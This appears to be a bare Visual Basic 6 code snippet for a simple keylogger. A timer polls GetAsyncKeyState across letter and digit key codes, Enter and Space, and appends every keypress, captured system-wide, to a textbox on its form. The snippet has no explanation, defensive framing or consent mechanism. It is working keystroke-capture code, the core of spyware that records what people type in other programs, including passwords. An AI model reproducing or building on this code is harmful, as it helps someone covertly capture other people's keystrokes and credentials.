Private Sub Timer1_Timer()

For kalle = 65 To 96
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next


keystatus = GetAsyncKeyState(13)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(13) + Chr$(10)


keystatus = GetAsyncKeyState(32)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(32)


Text2.TabIndex = 0

End Sub



Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text2.TabIndex = 0
End Sub